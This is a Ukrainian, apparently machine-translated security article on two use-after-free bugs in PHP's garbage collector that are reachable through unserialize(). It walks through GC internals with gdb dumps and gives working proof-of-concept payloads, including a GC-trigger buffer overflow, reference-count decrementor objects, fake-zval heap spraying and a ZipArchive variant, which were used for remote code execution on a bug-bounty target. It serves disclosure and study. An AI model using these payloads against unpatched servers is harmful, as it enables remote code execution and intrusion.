Ламаємо збір сміття та десеріалізацію в PHP



Гей, PHP, ці змінні виглядають як сміття, згоден?
Ні? Ну, подивись-но знову...


tl;dr:
Ми виявили дві use-after-free уразливості в алгоритмі збору сміття в PHP:

  • Одна присутня у всіх версіях PHP 5 ≥ 5.3 (виправлена в PHP 5.6.23).
  • Друга — у всіх версіях PHP ≥ 5.3, включаючи версії PHP 7 (виправлена в PHP 5.6.23 і PHP 7.0.8).
Уразливості можуть віддалено застосовуватися через PHP-функцію десеріалізації. Використовуючи їх, ми відшукали на RCE pornhub.com, за що отримали премію в 20 000 доларів плюс по 1000 доларів за кожну з двох вразливостей від комітету Internet Bug Bounty на Hackerone.

Займаючись перевіркою Pornhub, ми виявили дві критичні витоку в алгоритмі СМ (How we broke PHP, hacked Pornhub and earned $20,000). Мова йде про двох важливих use-after-free вразливості, які проявляються при взаємодії алгоритму СМ з певними PHP-об'єктами. Вони призводять до далекосяжних наслідків зразок використання десеріалізації для віддаленого виконання коду на цільовій системі. У статті ми розглянемо ці уразливості.

Після фаззинга десеріалізації і аналізу цікавих випадків ми виділили два докази можливості use-after-free вразливостей. Якщо вам цікаво, як ми до них прийшли, то почитайте матеріал посилання. Один із прикладів:

$serialized_string = 'a:1:{i:1;C:11:"ArrayObject":37:{x:i:0;a:2:{i:1;R:4;i:2;r:1;};m:a:0:{}}}';
$outer_array = unserialize($serialized_string);
gc_collect_cycles();
$filler1 = "aaaa";
$filler2 = "bbbb";
var_dump($outer_array);
// Result:
// string(4) "bbbb"

Напевно, ви думаєте, що результат буде приблизно таким:

array(1) { // зовнішній масив
[1]=>
object(ArrayObject)#1 (1) {
["storage":"ArrayObject":private]=>
array(2) { // внутрішній масив
[1]=>
// Посилання на внутрішній масив
[2]=>
// Посилання на зовнішній масив
}
}
}

У будь-якому випадку після виконання ми бачимо, що зовнішній масив (на нього посилається
$outer_array
) звільнений, а його zval перезаписаний zval'ом
$filler2
. І як результат ми отримуємо
bbbb
. Виникають наступні питання:

  • Чому взагалі звільняється зовнішній масив?
  • Що робить
    gc_collect_cycles()
    і дійсно необхідно викликати її вручну? Це дуже незручно для віддаленого використання, тому що багато скрипти і установки взагалі не викликають цю функцію.
  • Навіть якщо ми зможемо викликати її в ході десеріалізації, буде працювати цей приклад?
Схоже, вся магія відбувається у функції
gc_collect_cycles
, яка викликає збирач сміття PHP. Нам потрібно краще зрозуміти її, щоб розібратися з цим таємничим прикладом.

Зміст
Збір сміття в PHP
У ранніх версіях PHP не було можливості впоратися з витоками пам'яті через циклічних посилань. Алгоритм СМ з'явився в PHP 5.3.0 (PHP manual – Collecting Cycles). Складальник активний за замовчуванням, його можна ініціювати з допомогою налаштування
zend.enable_gc
на
php.ini
.

Зверніть увагу: потрібні базові знання про нутрощах PHP, управління пам'яттю і речах начебто zval'а і підрахунку посилань. Якщо ви не знаєте, що це, то спочатку ознайомтеся з основами: PHP Internals Book – Basic zval structure і PHP Internals Book – Memory managment.

Циклічні посилання
Для розуміння суті циклічних посилань розглянемо приклад:

$test = array();
$test[0] = &$test;
unset($test);

Оскільки
$test
посилається на самого себе, то його лічильник посилань дорівнює 2. Але навіть якщо ви зробите
unset($test)
і лічильник стане дорівнює 1, пам'ять не звільниться: відбудеться витік. Для вирішення цієї проблеми розробники PHP створили алгоритм СМ згідно з документом IBM «Concurrent Cycle Collection in Reference Counted Systems».

Ініціювання складальника
Основна реалізація доступна тут: Zend/zend_gc.c. При кожному знищення zval'а, тобто коли він скидається (unset), застосовується алгоритм СМ, який перевіряє, це масив або об'єкт. Всі інші типи даних (примітиви) не можуть містити циклічні посилання. Перевірка реалізована шляхом виклику функції
gc_zval_possible_root
. Будь-який такий потенційний zval називається root і додається в список
gc_root_buffer
.

Ці кроки повторюються до тих пір, поки не буде виконана одна з умов:

  • gc_collect_cycles() викликаний вручну.
  • Заповнився обсяг пам'яті для зберігання сміття. Це означає, що в root-буфері збережено 10 000 zval'ів і зараз буде доданий ще один. Обмеження 10 000 за замовчуванням прописано в GC_ROOT_BUFFER_MAX_ENTRIES у заголовній секції Zend/zend_gc.c. Наступний zval знову викличе
    gc_zval_possible_root
    , а той вже викличе
    gc_collect_cycles
    для обробки та очищення поточного буфера, щоб можна було зберігати нові елементи.

Алгоритм маркування графа для циклічного збору (Graph Marking Algorithm for Cycle Collection)
Алгоритм СМ — це графовый алгоритм маркування, що застосовується до поточної графової структурі. Вузли графа — це zval'и начебто масивів, рядків або об'єктів. Ребра являють собою зв'язки/посилання між zval'ами.

Для маркування вузлів алгоритм здебільшого використовує наступні кольори:

  • Пурпурний: потенційний корінь циклу збору. Вузол може бути коренем циклічного посилання. Всі вузли, спочатку додаються в сміттєвий буфер, маркуються пурпурним кольором.
  • Сірий: потенційний член циклу збору. Вузол може бути частиною циклічного посилання.
  • Білий: член циклу збору. Вузол повинен бути звільнений після зупинки алгоритму.
  • Чорний: використовується або вже звільнений. Вузол не повинен звільнятися ні за яких обставин.
Щоб розібратися в роботі алгоритму, поглянемо на його реалізацію. Збір сміття виповнюється
gc_collect_cycles
:

"Zend/zend_gc.c"
[...]
ZEND_API int gc_collect_cycles(TSRMLS_D)
{
[...]
gc_mark_roots(TSRMLS_C);
gc_scan_roots(TSRMLS_C);
gc_collect_roots(TSRMLS_C);
[...]
/* Free zvals */
p = GC_G(free_list);
while (p != FREE_LIST_END) {
q = p->u.next;
FREE_ZVAL_EX(&p->z);
p = q;
}
[...]
}

Ця функція піклується про наступних чотирьох простих операціях:

  1. gc_mark_roots(TSRMLS_C)
    : застосовується
    zval_mark_grey
    до всіх пурпурним елементів
    gc_root_buffer
    . По відношенню до поточного zval'у
    zval_mark_grey
    виконує наступне:
    • — повертає, якщо zval вже позначено сірим;
    • — позначає zval сірим;
    • — отримує всі дочірні zval'и (тільки якщо поточний zval — це масив або об'єкт);
    • — декрементирует лічильники посилань дочірніх zval'ів на 1 і викликає
      zval_mark_grey
      .
    В цілому на даному етапі маркуються сірим кореневої та інші доступні zval'и, у всіх цих zval'ів декрементируются лічильники посилань.
  2. gc_scan_roots(TSRMLS_C): застосовується zval_scan (на жаль, не викликається zval_mark_white) до всіх елементів в gc_root_buffer. По відношенню до поточного zval'у zval_scan виконує наступне:
    — повертає, якщо zval не сірий;
    — якщо лічильник посилань більше нуля, викликає zval_scan_black (на жаль, не викликається zval_mark_black). По суті, zval_scan_black скасовує всі дії, раніше виконані zval_mark_grey до всіх лічильників, і маркує чорним всі доступні zval'и;
    — поточний zval маркується білим, а до всіх дочірніх zval'ам застосовується zval_scan (тільки якщо поточний zval — це масив або об'єкт).
    В цілому на даному етапі визначається, які з сірих zval'ів зараз потрібно маркувати чорним або білим.
  3. gc_collect_roots(TSRMLS_C)
    : відновлюються лічильники посилань у всіх білих zval'ів. Також вони додаються в список
    gc_zval_to_free
    , еквівалентний списком
    gc_free_list
    .
  4. Нарешті, звільняються всі елементи
    gc_free_list
    , тобто марковані білим.
Цей алгоритм ідентифікує і звільняє всі елементи циклічних посилань, спочатку маркуючи їх білим кольором, потім збираючи і звільняючи. Більш детальний аналіз реалізації виявив наступні потенційні конфлікти:

  • На етапі 1.4
    zval_mark_grey
    декрементирует лічильники всіх дочірніх zval'ів до їх перевірки на маркированность сірим кольором.
  • Оскільки лічильники посилань zval'ів тимчасово декрементированы, будь-який побічний ефект (зразок перевірок ослаблених лічильників) або інші маніпуляції можуть привести до катастрофічних наслідків.
Аналіз POC
Озброївшись новим знанням про збирача сміття, ми можемо заново проаналізувати приклад з виявленою уразливістю. Викличемо наступну сериализованную рядок:

$serialized_string = 'a:1:{i:1;C:11:"ArrayObject":37:{x:i:0;a:2:{i:1;R:4;i:2;r:1;};m:a:0:{}}}';

Скориставшись gdb, ми можемо використовувати стандартний для PHP 5.6 .gdbinit, а також кастомний підпрограму для дампінга вмісту буфера збирача сміття.

define dumpgc
set $current = gc_globals.roots.next
printf "GC buffer content:\n"
while $current != &gc_globals.roots
printzv $current.u.pz
set $current = $current.next
end
end

Тепер встановимо точку переривання
gc_mark_roots
та
gc_scan_roots
, щоб подивитися стан всіх відповідних лічильників посилань.

Нам потрібно знайти відповідь на питання: чому звільняється зовнішній масив? Завантажимо php-процес у gdb, встановимо точки переривання і виконаємо скрипт.

(gdb) r poc1.php
[...]
Breakpoint 1, gc_mark_roots () at [...]
(gdb) dumpgc
GC roots buffer content:
[0x109f4b0] (refcount=2) array(1): { // outer_array
1 => [0x109d5c0] (refcount=1) object(ArrayObject) #1
}
[0x109ea20] (refcount=2,is_ref) array(2): { // inner_array
1 => [0x109ea20] (refcount=2,is_ref) array(2): // reference to inner_array
2 => [0x109f4b0] (refcount=2) array(1): // reference to outer_array
}

Як бачите, після десеріалізації обидва масиву (внутрішній і зовнішній) додано у буфер збирача сміття. Якщо ми продовжимо і перервемося на
gc_scan_roots
, то отримаємо наступні стану лічильників посилань:

(gdb) c
[...]
Breakpoint 2, gc_scan_roots () at [...]
(gdb) dumpgc
GC roots buffer content:
[0x109f4b0] (refcount=0) array(1): { // зовнішній масив
1 => [0x109d5c0] (refcount=0) object(ArrayObject) #1
}

gc_mark_roots
дійсно декрементировал всі лічильники до нуля. Отже, ці вузли на наступних етапах можуть бути марковані білим і пізніше звільнені. Але виникає питання: чому в першому випадку лічильники обнулилися?

Налагодження несподіваного поведінки
Давайте крок за кроком пройдемо через
gc_mark_roots
та
zval_mark_grey
, щоб зрозуміти, що відбувається.

  1. zval_mark_grey
    застосований до
    outer_array
    (згадайте, що
    outer_array
    додано у буфер збирача сміття).
  2. outer_array
    маркований сірим, а всі його нащадки витягнуті. У нашому випадку у
    outer_array
    тільки один нащадок:
    "object(ArrayObject) #1"
    (refcount=1).
  3. Лічильник посилань нащадка або
    ArrayObject
    декрементирован:
    "object(ArrayObject) #1"
    (refcount=0).
  4. zval_mark_grey
    застосований до
    ArrayObject
    .
  5. Цей об'єкт маркований сірим, а всі його нащадки витягнуті. В даному випадку до них відносяться посилання на
    inner_array
    та
    outer_array
    .
  6. Лічильники посилань в обох нащадків, тобто в обох zval'ів, на які ведуть посилання, декрементированы:
    «outer_array» (refcount=1) and «inner_array» (refcount=1).
  7. zval_mark_grey
    застосований до outer_array без будь-якого ефекту, тому що outer_array вже маркований сірим (його обробили на другому етапі).
  8. zval_mark_grey
    застосований до inner_array. Він маркований сірим, а всі його діти вилучені. Діти ті ж, що і на п'ятому етапі.
  9. Лічильники посилань обох нащадків знову декрементированы:
    «outer_array» (refcount=0) and «inner_array» (refcount=0).
  10. zval'ів не залишилося,
    zval_mark_grey
    перерваний.
Отже, посилання, що містилися в
inner_array
або
ArrayObject
, декрементированы двічі! Це виразно несподіване поведінку, адже будь-яке посилання має декрементироваться одноразово. Зокрема, восьмого етапу взагалі не повинно бути, тому що всі елементи вже оброблені і промарковані раніше, на шостому етапі.

Зверніть увагу: алгоритм маркування передбачає, що у кожного елемента може бути тільки один батьківський елемент. Очевидно, в даному випадку це припущення помилково.

Так чому ж один елемент може бути повернений як дочірній для двох різних батьків?

Один нащадок двох різних батьків?
Для відповіді на це питання потрібно вивчити, як дочірні zval'и витягуються з батьківських об'єктів:

"Zend/zend_gc.c"
[...]
static void zval_mark_grey(zval *pz TSRMLS_DC)
{
[...]
if (Z_TYPE_P(pz) == IS_OBJECT && EG(objects_store).object_buckets) {
if (EXPECTED(EG(objects_store).object_buckets[Z_OBJ_HANDLE_P(pz)].valid &&
(get_gc = Z_OBJ_HANDLER_P(pz, get_gc)) != NULL) {
[...]
HashTable *props = get_gc(pz, &table, &n TSRMLS_CC);
[...]
}

Якщо оброблений zval — об'єкт, функція викличе спеціальний обробник
get_gc
. Він повинен повертати хеш-таблицю з усіма нащадками. Після подальшого налагодження я виявив, що це призводить до виклику
spl_array_get_properties
:

"ext/spl/spl_array.c"
[...]
static HashTable *spl_array_get_properties(zval *object TSRMLS_DC) /* {{{ */
{
[...]
result = spl_array_get_hash_table(intern, 1 TSRMLS_CC);
[...]
return result;
}

Загалом, тут повертає хеш-таблиця внутрішнього масиву
ArrayObject
. Помилка в тому, що вона використовується в двох різних контекстах, коли алгоритм намагається отримати доступ:

  • до нащадку
    zval'а ArrayObject
    ;
  • до нащадку
    inner_array
    .
Вам може здатися, ніби на першому етапі щось упущено, адже повернення хеш-таблиці
inner_array
— це майже те ж саме, що обробка на першому етапі, коли він повинен бути маркований сірим, тому
inner_array
не повинен оброблятися знову на другому етапі!

Тому виникає питання: чому
inner_array
не був промаркований сірим на першому етапі? Давайте знову подивимося, як
zval_mark_grey
витягує нащадків батьківського об'єкта:

HashTable *props = get_gc(pz, &table, &n TSRMLS_CC);

Цей метод повинен викликати функцію збору сміття об'єкта. Виглядає вона так:

"ext/spl/php_date.c"
[...]
static HashTable *date_object_get_gc(zval *object, zval ***table, int *n TSRMLS_DC)
{
*table = NULL;
*n = 0;
return zend_std_get_properties(object TSRMLS_CC);
}

Як бачите, повернена хеш-таблиця повинна містити лише власні властивості об'єкта. Також в ній зберігається параметр zval'а
table
, який передано по посиланню і використовується в якості другого «повертається параметра». Цей zval повинен містити всі zval'и, на які посилається об'єкт в інших контекстах. Наприклад, всі об'єкти/zval'и можуть зберігатися в
SplObjectStorage
.

Для нашого специфічного сценарію
ArrayObject
чи можна очікувати, що в zval
table
буде міститися посилання на
inner_array
. Тоді чому замість
spl_array_get_gc
викликається
spl_array_get_properties
?

Відсутня функція збирача і наслідки цього
Відповідь проста:
spl_array_get_gc
не існує! Розробники PHP забули реалізувати функцію збору сміття для
ArrayObjects
. Але це все одно не пояснює, чому викликається
spl_array_get_properties
. Щоб з'ясувати це, давайте розберемося з ініціалізацією об'єктів взагалі:

"Zend/zend_object_handlers.c"
[...]
ZEND_API HashTable *zend_std_get_gc(zval *object, zval ***table, int *n TSRMLS_DC) /* {{{ */
{
if (Z_OBJ_HANDLER_P(object, get_properties) != zend_std_get_properties) {
*table = NULL;
*n = 0;
return Z_OBJ_HANDLER_P(object, get_properties)(object TSRMLS_CC);
[...]
}

Стандартне поведінку відсутньою функції збирання сміття залежить від власного методу об'єкта
get_properties
, якщо він заданий.

Фух, здається, ми знайшли відповідь на перше питання. Головна причина уразливості: функції збору сміття для
ArrayObjects
не існує.

Досить дивно, що вона з'явилася в PHP 7.1.0 alpha2 майже відразу після виходу. Виходить, що уразливості піддаються всі версії PHP ≥ 5.3 і PHP < 7. На жаль, як ми побачимо далі, цей баг можна ініціювати під час десеріалізації без додаткових рухів. Так що пізніше довелося підготувати можливість використання експлойта. З цього моменту ми будемо називати вразливість «баг подвійного декрементирования». Вона описана тут: PHP Bug – ID 72433CVE-2016-5771.

Рішення проблем з віддаленим виконанням
Нам ще потрібно отримати відповіді на два з трьох одвічних питань. Почнемо з цього: чи дійсно необхідно вручну викликати
gc_collect_cycles
?

Ініціювання складальника під час десеріалізації
Спочатку я сильно сумнівався, що нам вдасться ініціювати складальник. Однак, як вже говорилося вище, є спосіб автоматичного виклику збирача сміття — при досягненні ліміту сміттєвого буфера за кількістю потенційних кореневих елементів. Я придумав такий метод:

define("GC_ROOT_BUFFER_MAX_ENTRIES", 10000);
define("NUM_TRIGGER_GC_ELEMENTS", GC_ROOT_BUFFER_MAX_ENTRIES+5);
$overflow_gc_buffer = str_repeat('i:0;a:0:{}', NUM_TRIGGER_GC_ELEMENTS);
$trigger_gc_serialized_string = 'a:'.(NUM_TRIGGER_GC_ELEMENTS).':{'.$overflow_gc_buffer.'}';
unserialize($trigger_gc_serialized_string);

Якщо ви подивитеся на вищеописаний gdb, то побачите, що
gc_collect_cycles
справді був викликаний. Цей трюк працює лише тому, що десериализация дозволяє передавати один і той же індекс багато разів (у цьому прикладі індекс 0). При повторному використанні індексу масиву лічильник посилань старого елемента повинен декрементироваться. Для цього процес десеріалізації викликає
zend_hash_update
, який викликає деструктор старого елемента.

При кожному знищення zval'а застосовується алгоритм СМ. Це означає, що всі створювані масиви стануть заповнювати сміттєвий буфер до тих пір, поки він не переповниться, після чого буде викликаний
gc_collect_cycles
.

Неймовірні новини! Нам не потрібно вручну ініціювати процедуру збору сміття на цільовій системі. На жаль, виникла нова, ще більш важка проблема.

Десериализация — жорсткий опонент
На даний момент без відповіді залишилося питання: навіть якщо під час десеріалізації ми зможемо викликати складальник, чи в контексті десеріалізації все ще працювати баг подвійного декрементирования?

Після тестування ми швидко прийшли до висновку, що відповідь — ні. Це наслідок того, що значення лічильників посилань всіх елементів під час десеріалізації вище, ніж після неї. Десериализатор відстежує всі десериализуемые елементи, щоб можна було налаштовувати посилання. Всі ці записи зберігаються в списку
var_hash
. І коли десериализация підходить до кінця, записи знищуються за допомогою функції
var_destroy
.

У цьому прикладі ви можете самі спостерігати проблему великих лічильників посилань:

$reference_count_test = unserialize('a:2:{i:0;i:1337;i:1;r:2;}');
debug_zval_dump($reference_count_test);
/*
Result:
array(2) refcount(2){
[0]=>
long(1337) refcount(2)
[1]=>
long(1337) refcount(2)
}
*/

Лічильник цілочисельного zval'а 1337 після десеріалізації дорівнює 2. Встановивши точку переривання до зупинки десеріалізації (наприклад, у виклику
var_destroy
) і зробивши дамп вмісту
var_hash
, ми побачимо такі значення лічильників:

[0x109e820] (refcount=2) array(2): {
0 => [0x109cf70] (refcount=4) long: 1337
1 => [0x109cf70] (refcount=4) long: 1337
}

Баг подвійного декрементирования дозволяє нам двічі декрементировать лічильник будь-якого обраного елемента. Однак, як ми бачимо з цих цифр, за кожну додаткову посилання, яку присвоює кожному елементу, нам доводиться розплачуватися збільшенням лічильника посилань на 2.

Лежачи в безсонні о четвертій ранку і розмірковуючи про всі ці проблеми, я нарешті згадав одну важливу річ: функція десериалиазиции
ArrayObject
приймає посилання на інший масив для ініціалізації. Тобто якщо ви десериализуете
ArrayObject
, то можете просто послатися на будь-масив, який вже десериализован. Це дозволяє двічі декрементировать всі записи конкретної хеш-таблиці. Послідовність дій така:

  • У нас є цільовою zval X, який потрібно звільнити.
  • Створюємо масив Y, містить кілька посилань на zval X:
    array(ref_to_X, ref_to_X, [...], ref_to_X)
  • Створюємо
    ArrayObject
    , який буде ініціалізований вмістом масиву Y. Отже, він поверне всіх нащадків масиву Y при обробці алгоритмом маркування збирача сміття.
Використовуючи цю інструкцію, ми можемо маніпулювати алгоритмом маркування, щоб двічі обробити всі посилання у масиві Y. Але, як згадувалося вище, створення посилання призведе до того, що під час десеріалізації лічильник посилань збільшиться на 2. Так що подвійна обробка посилання буде рівнозначна тому, як якщо б ми спочатку проігнорували посилання. Вся хитрість полягає в додаванні до нашої послідовності дій наступного пункту:

  • Створюємо додатковий
    ArrayObject
    з тими ж установками, що і у попереднього.
Коли алгоритм маркування перейде до другого
ArrayObject
, він почне втретє декрементировать всі посилання у масиві Y. Тепер ми можемо отримати негативну дельту лічильника посилань і обнулити лічильник будь-якого цільового zval'а!

Оскільки ці
ArrayObject
'и використовуються для декрементирования лічильників, я буду називати їх тепер
DecrementorObject
'ами.

На жаль, навіть після того як нам вдалося обнулити лічильник будь-якого цільового zval'а, алгоритм СМ їх не звільняє…

Знищення свідоцтв декрементирования лічильника посилань
Після тривалих отладок я виявив ключову проблему з вищеописаної послідовністю дій. Я припускав, що, як тільки вузол маркується білим, він остаточно звільнений. Але виявилося, що білий вузол пізніше може бути знову маркований чорним.

Ось що відбувається при виконанні нашої послідовності дій:

  • тільки
    gc_mark_roots
    та
    zval_mark_grey
    завершуються, лічильник посилань цільового zval'а стає рівним 0.
  • Далі збирач сміття виконає
    gc_scan_roots
    , щоб визначити, які zval'и можна маркувати білим, а які чорним. На цьому етапі цільової zval маркується білим (тому що його лічильник дорівнює 0).
  • Коли наша функція перейде до
    DecrementorObject
    'ам, вона виявить, що їх власні лічильники більше 0, і маркує чорним кольором їх самих і їхніх нащадків. На жаль, наш цільовий zval теж дочірній по відношенню до
    DecrementorObject
    'ам. Отже, він маркується чорним.
Отже, нам потрібно якось позбутися свідоцтв декрементирования. Також необхідно впевнитися, що лічильники наших
DecrementorObject
'ов обнуляться після завершення
zval_mark_grey
. Після пошуку найбільш простого рішення я прийшов до висновку, що треба змінити послідовність дій:

array( ref_to_X, ref_to_X, DecrementorObject, DecrementorObject)
----- ------------------------------------
/* | |
target_zval each one is initialized with the
X contents of array X
*/

Перевага змін у тому, що
DecrementorObject
'и тепер декрементируют і свої власні лічильники. Це допоможе досягти стану, коли цільової масив і всі його нащадки отримають обнулені лічильники, після того як
gc_mark_roots
обробить всі zval'и. Завдяки цій ідеї і додаткових удосконалень можна прийти до такого прикладу:

define("GC_ROOT_BUFFER_MAX_ENTRIES", 10000);
define("NUM_TRIGGER_GC_ELEMENTS", GC_ROOT_BUFFER_MAX_ENTRIES+5);
// Переповнення сміттєвого буфера.
$overflow_gc_buffer = str_repeat('i:0;a:0:{}', NUM_TRIGGER_GC_ELEMENTS);
// decrementor_object буде ініціалізований з допомогою вмісту цільового масиву ($free_me).
$decrementor_object = 'C:11:"ArrayObject":19:{x:i:0;r:3;;m:a:0:{}}';
// Наступні посилання в ході десеріалізації будуть вказувати на масив $free_me (id=3).
$target_references = 'i:0;r:3;i:1;r:3;i:2;r:3;i:3;r:3;';
// Налаштуємо цільової масив, т. е. масив, який повинен бути звільнений у ході десеріалізації.
$free_me = 'a:7:{'.$target_references.'i:9;'.$decrementor_object.'i:99;'.$decrementor_object.'i:999;'.$decrementor_object.'}';
// Інкрементуємо на 2 лічильник посилань кожного decrementor_object.
$adjust_rcs = 'i:99;a:3:{i:0;r:8;i:1;r:12;i:2;r:16;}';
// Запустимо збирач сміття і звільнимо цільової масив.
$trigger_gc = 'i:0;a:'.(2 + NUM_TRIGGER_GC_ELEMENTS).':{i:0;'.$free_me.$adjust_rcs.$overflow_gc_buffer.'}';
// Додамо тригер СМ і посилання на цільовий масив.
$payload = 'a:2:{'.$trigger_gc.'i:0;r:3;}';
var_dump(unserialize($payload));
/*
Result:
array(1) {
[0]=>
int(140531288870456)
}
*/

Як бачите, більше не потрібно вручну запускати
gc_collect_roots
! Цільовий масив (
$free_me
у цьому прикладі) звільнений, а також з ним сталася ще низка дивних речей, так що в результаті у нас залишився адреса купи.

Чому так сталося?

  1. Складальник був ініційований, цільової масив — звільнений. Потім збирач був перерваний, а контроль — повернуто десериализатору.
  2. Звільнене простір буде перезаписаний наступним zval'ом. Пам'ятайте, що ми ініціювали збирач сміття за допомогою численних послідовних структур 'i:0;a:0:{}'. Один з елементів запускає складальник для наступного zval'а, що утворюється після 'i:0;', що є цілочисельним індексом наступного масиву, який буде визначений. Іншими словами, у нас є рядок '[...]i:0;a:0:{} X i:0;a:0:{} X i:0;a:0:{}[...]', в якій довільний X ініціює збирач сміття. Після цього продовжиться десериализация даних, які заповнять раніше звільнене простір.
  3. Наше звільнене простір тимчасово містить цей цілочисельний zval. Коли десериализация близька до завершення, буде викликана функція
    var_destroy
    , яка звільнить цей цілочисельний елемент. Диспетчер пам'яті перезапише перші байти звільненого простору адресою останнього звільненого простору. Однак тип останнього zval'а — цілочисельний — збережеться.
В результаті ми бачимо адресу купи. Можливо, в цьому не так просто розібратися з ходу, проте єдиний важливий висновок — в розумінні, де ініціюється збирач і де генеруються нові значення для заповнення свіжого звільненого простору.

Відтепер можна отримати контроль над ним.

Контроль над вільним простором
Нормальна процедура контролю полягає в заповненні простору фальшивими zval'ами. З допомогою висячого покажчика ви можете потім влаштувати витік пам'яті або управляти покажчиком команд процесора. У нашому прикладі для використання звільненого простору потрібно зробити кілька речей:

  • Звільнити декілька змінних, щоб можна було заповнити простір однієї з них вмістом рядки нашого фальшивого zval'а, замість того щоб заповнювати простір zval'го рядка фальшивого zval'а.
  • «Стабілізувати» звільнене простір, яке буде заповнено zval'го рядка фальшивого zval'а. Якщо цього не зробити, під час десеріалізації рядок фальшивого zval'а просто звільниться, що зіпсує його.
  • Забезпечити правильне вирівнювання звільненого простору і рядків фальшивих zval'ів. Також упевнитися, що звільняються складальником простору негайно заповнюються рядками фальшивих zval'ів. Мені вдалося добитися цього за допомогою «бутербродной» методики.
Я не буду заглиблюватися в деталі, а лише залишу для вас цей POC:

define("GC_ROOT_BUFFER_MAX_ENTRIES", 10000);
define("NUM_TRIGGER_GC_ELEMENTS", GC_ROOT_BUFFER_MAX_ENTRIES+5);
// Створюємо рядок фальшивого zval'а, яка пізніше заповнить звільнене простір.
$fake_zval_string = pack("Q", 1337).pack("Q", 0).str_repeat("\x01", 8);
$encoded_string = str_replace("%", "\\", urlencode($fake_zval_string));
$fake_zval_string = ':'.strlen($fake_zval_string).':"'.$encoded_string.'";';
// Створюємо «бутербродную» структуру:
// TRIGGER_GC;FILL_FREED_SPACE;[...];TRIGGER_GC;FILL_FREED_SPACE
$overflow_gc_buffer = ";
for($i = 0; $i < NUM_TRIGGER_GC_ELEMENTS; $i++) {
$overflow_gc_buffer .= 'i:0;a:0:{}';
$overflow_gc_buffer .= 'і:'.$i.';'.$fake_zval_string;
}
// decrementor_object буде ініціалізований з допомогою вмісту цільового масиву ($free_me).
$decrementor_object = 'C:11:"ArrayObject":19:{x:i:0;r:3;;m:a:0:{}}';
// Наступні посилання під час десеріалізації будуть вказувати на масив $free_me (id=3).
$target_references = 'i:0;r:3;i:1;r:3;i:2;r:3;i:3;r:3;';
// Налаштуємо цільової масив, т. е. масив, який повинен бути звільнений у ході десеріалізації.
$free_me = 'a:7:{i:9;'.$decrementor_object.'i:99;'.$decrementor_object.'i:999;'.$decrementor_object.$target_references.'}';
// Інкрементуємо на 2 лічильник посилань кожного decrementor_object.
$adjust_rcs = 'i:99999;a:3:{i:0;r:4;i:1;r:8;i:2;r:12;}';
// Запустимо збирач сміття і звільнимо цільової масив.
$trigger_gc = 'i:0;a:'.(2 + NUM_TRIGGER_GC_ELEMENTS*2).':{i:0;'.$free_me.$adjust_rcs.$overflow_gc_buffer.'}';
// Додамо тригер СМ і посилання на цільовий масив.
$stabilize_fake_zval_string = 'i:0;r:4;i:1;r:4;i:2;r:4;i:3;r:4;';
$payload = 'a:6:{'.$trigger_gc.$stabilize_fake_zval_string.'i:4;r:8;}';
$a = unserialize($payload);
var_dump($a);
/*
Result:
array(5) {
[...]
[4]=>
int(1337)
}
*/

У цьому прикладі ви можете бачити, як після всіх наших зусиль вдається створити штучну цілочисельну змінну.

До цього моменту вже була готова корисне навантаження для застосування в експлойт. Зверніть увагу, що заради неї можна оптимізувати код. Наприклад, задля мінімізації розміру корисного навантаження застосувати «бутербродную» методику тільки для останніх 20 % елементів 'i:0;a:0:{}'.

Use-after-free уразливість класу ZipArchive
Інший вразливістю, про яку ми повідомили в даному контексті, стала PHP Bug – ID 72434CVE-2016-5773. Вона базується на ту ж помилку: нереалізованої функції збору сміття всередині класу ZipArchive. Однак використання цієї проблеми досить сильно відрізняється від проблеми, описаної вище.

Оскільки лічильники посилань zval'ів тимчасово декрементированы, будь-який побічний ефект (зразок перевірок ослаблених лічильників) або інші маніпуляції можуть привести до катастрофічних наслідків.

Як раз в цьому випадку вразливість можна використовувати. Спочатку ми дозволяємо алгоритмом маркування послабити лічильники посилань, а потім замість правильної функції збору сміття викликаємо
php_zip_get_properties
. Тим самим ми звільняємо якийсь конкретний елемент. Подивіться на приклад:

$serialized_string = 'a:1:{i:0;a:3:{i:1;N;i:2;O:10:"ZipArchive":1:{s:8:"filename";i:1337;}i:1;R:5;}}';
$array = unserialize($serialized_string);
gc_collect_cycles();
$filler1 = "aaaa";
$filler2 = "bbbb";
var_dump($array[0]);
/*
Result:
array(2) {
[1]=>
string(4) "bbbb"
[...]
*/

Потрібно згадати, що в нормальних умовах неможливо створити посилання на zval'и, які ще не десериализованы. Ця корисна навантаження використовує невеликий трюк, який дозволяє обійти обмеження:

[...] i:1;N; [...] s:8:"filename";i:1337; [...] i:1;R:REF_TO_FILENAME; [...]


Тут створюється запис NULL з індексом 1, яка пізніше перезаписується посиланням на ім'я файлу. Збирач сміття побачить тільки «i:1;REF_TO_FILENAME; [...] s:8:»filename";i:1337; [...]". Цей трюк необхідний для впевненості в тому, що лічильник посилань цілочисельного zval'а «filename» був ослаблений, перш ніж почнуть діяти будь-які побічні ефекти.

Висновок
Підготовка цих багів до віддаленого використання була дуже непростим завданням. Варто було вирішити одну проблему, як виникала нова. У статті ми розглянули один з підходів до вирішення досить складної проблеми. Послідовно ставлячи собі продумані питання, концентруючись на поступовому отриманні кожної відповіді і розбираючи визначення, ми нарешті впоралися з труднощами і досягли мети.

Було цікаво спостерігати за взаємодією двох абсолютно не пов'язаних один з одним PHP-компонентів: десериализатора і збирача сміття. Особисто я отримав море задоволення і багато чого дізнався, аналізуючи їх поведінку. Так що можу порекомендувати вам відтворити все вищесказане для навчання. Це особливо важливо: стаття досить довга, але навіть в ній я не висвітлив ряд деталей.

У сценарії застосовувався десериализатор, але можна обійтися і без нього, принаймні для локального використання вразливостей. Це відрізняє їх від звичайних, що лежать на поверхні вразливостей, які застосовувалися для аудиту десеріалізації в більш ранніх версіях PHP. У будь-якому випадку, як говорилося на початку статті: ніколи не вдавайтеся до десеріалізації з користувальницьким введенням, а краще спирайтеся на менш складні методи зразок JSON.

Експеримент підтвердив, що ми можемо використовувати одну з обговорених вразливостей для віддаленого виконання коду на pornhub.com. Це робить збирача сміття в PHP цікавим кандидатом для атаки.

image
Збірка сміття zval'ів пішла якось не так.
Джерело: Хабрахабр

0 коментарів

Тільки зареєстровані та авторизовані користувачі можуть залишати коментарі.